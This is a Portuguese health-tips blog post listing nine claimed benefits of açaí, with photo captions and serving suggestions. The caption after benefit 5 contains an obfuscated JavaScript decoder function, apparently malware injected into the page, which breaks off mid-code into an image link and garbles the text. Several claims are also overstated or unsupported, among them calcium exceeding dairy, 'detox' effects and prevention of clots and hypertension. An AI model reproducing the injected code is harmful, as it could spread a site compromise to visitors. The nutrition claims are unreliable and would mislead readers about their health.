Dicas saudáveis – 9 benefícios do açaí

Mar 2, 2017 | Dicas úteis, Saúde e bem estar

Dicas saudáveis – 9 benefícios do açaí

O açaí é um fruto com muitos benefícios para a nossa saúde que o Brasil deu a conhecer ao mundo. Sabia que este fruto cresce nas florestas tropicais da Amazónia? É riquíssimo em proteínas, fibras, lípidos e é uma verdadeira fonte de vitaminas C, B1 e B2, tendo também uma grande quantidade de Fósforo, Ferro e Cálcio. Os especialistas defendem mesmo que o açaí é o segundo maior antioxidante conhecido, logo depois do cacau. Descubra agora todos os benefícios deste fruto incrível:

Dicas saudáveis – 9 benefícios do açaí - Descubra-os aqui | Foto: eluniversal

1- Melhora a aparência da nossa pele

O açaí é rico em antioxidantes e ácido graxos que melhoram significativamente o aspecto da nossa pele. Este fruto pode ser utilizado para travar problemas de pele como a acne e a dermatite atópica e pode ser utilizado em tratamentos anti-idade, já que é composto por nutrientes que retardam o envelhecimento. Em resumo, este fruto fantástico ajuda a atenuar as manchas e as rugas da cara.

Dicas saudáveis – 9 benefícios do açaí - Melhora a aparência da nossa pele | Foto: mundodastribos

2- É amigo do coração

Muitos defendem que o açaí tem acções idênticas às do vinho tinto, capazes de reduzir os níveis de colesterol no sangue graças aos seus poderosos antioxidantes. Este fruto melhora ainda a circulação sanguínea e é um excelente aliado na prevenção de coágulos no sangue e da hipertensão.

Dicas saudáveis – 9 benefícios do açaí - É amigo do coração | Foto: thecatdish

3- Previne cãibras

O açaí possui uma grande quantidade de Potássio. Assim, se conciliar o consumo deste fruto com uma prática regular de exercício físico e uma alimentação saudável, pode prevenir os efeitos das incómodas cãibras.

4- Inclua-o na sua dieta e veja resultados

Por ser muito saciante e rico em fibras, este alimento pode ser um grande amigo da nossa dieta. No entanto, não deve abusar. Os médicos afirmam que o seu consumo deve ser moderado para não correr o risco de engordar, já que o açaí tem uma grande quantidade de lípidos. Também os diabéticos deverão informar-se com o seu médico antes de o incluírem na dieta.

Dicas saudáveis – 9 benefícios do açaí - Inclua-o na sua dieta e veja resultados  | Foto: mir-s3-cdn

5- Regula o sistema digestivo

O açaí tem uma grande quantidade de fibra dietética que ajuda a limpar e a desintoxicar o nosso organismo. Que grande notícia, não é?
Assim irá regular a flora intestinal e pode ajudar a eliminar as gordurinhas indesejadas!

Dicas saudáveis – 9 benefícios do açaí - Regula o sistema digestivo | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandiron.com/wp-content/uploads/2013/03/berry-kiwi-acai-bowl-2.jpg"> pumpsandiron

6- É uma boa fonte de energia

Muitas vezes sentimo-nos fatigados e desconhecemos a razão. Poderá ser por falta de Ferro no sangue. Saiba então que o açaí é um óptimo complemento na nossa alimentação, já que nos fornece muita energia por ser rico em ferro e vitaminas essenciais para o nosso organismo.

Dicas saudáveis – 9 benefícios do açaí - É uma boa fonte de energia  | Foto: demedicina

7- Fortalece o nosso sistema imunitário

Por ser rico em vitamina C e ácido elágico, o açaí ajuda a fortalecer o nosso sistema imunitário, ajudando-o a combater várias doenças. Eu acredito que podemos ter mais saúde se consumirmos produtos naturais e esta é uma boa notícia!

Dicas saudáveis – 9 benefícios do açaí - Fortalece o nosso sistema imunitário | Foto: bolichegoldstrike

7- Ajuda-nos a ter ossos e dentes mais fortes

O açaí contém mais quantidade de cálcio que outros produtos de origem láctea ou animal. É surpreendente, não é?
É portanto uma excelente opção sobretudo se pratica uma alimentação vegetariana. Este superalimento pode ajudar a aumentar a saúde dos nossos ossos e dos nossos dentes e pode ajudar a prevenir a osteoporose.

8- É um bom aliado para quem pratica desporto

Para além de delicioso e rico em vitaminas, o açaí é um óptimo alimento para quem pratica desporto. Para além de ajudar a prevenir as cãibras, ajuda a reduzir desconfortos após o treino e melhora o rendimento durante os treinos. Assim pode consumi-lo antes e depois dos treinos.  Comece já!

Dicas saudáveis – 9 benefícios do açaí - É um bom aliado para quem pratica desporto | Foto: freibeuter

9- Estimula a saúde das nossas células

As propriedades do açaí têm um papel fundamental na protecção das nossas células! Isto porque as mantém mais fortes e resistentes contra as invasões de radicais livres, que envelhecem a nossa pele. Há quem diga ainda que este fruto é uma excelente opção para quem sofre de carências nutricionais.

Conheça agora algumas formas como poderá consumir o açaí:

- Pode consumir o fruto ao natural ou acrescentá-los às suas papas de aveia. Fica maravilhoso!

- Em pó pode juntá-lo aos seus batidos ou sumos de fruta naturais.

- E, claro, em sumo natural.

E agora que já conhece os 9 benefícios do açaí, saiba onde é que o poderá encontrar e que produtos é que tem ao seu dispor.

Clique sobre cada uma das imagens para ficar a conhecer as características de cada um destes produtos. 

Se gostou de conhecer estes 9 benefícios do açaí, conheça também os benefícios da salsa e da batata doce. Descubra ainda todo o poder das águas detox.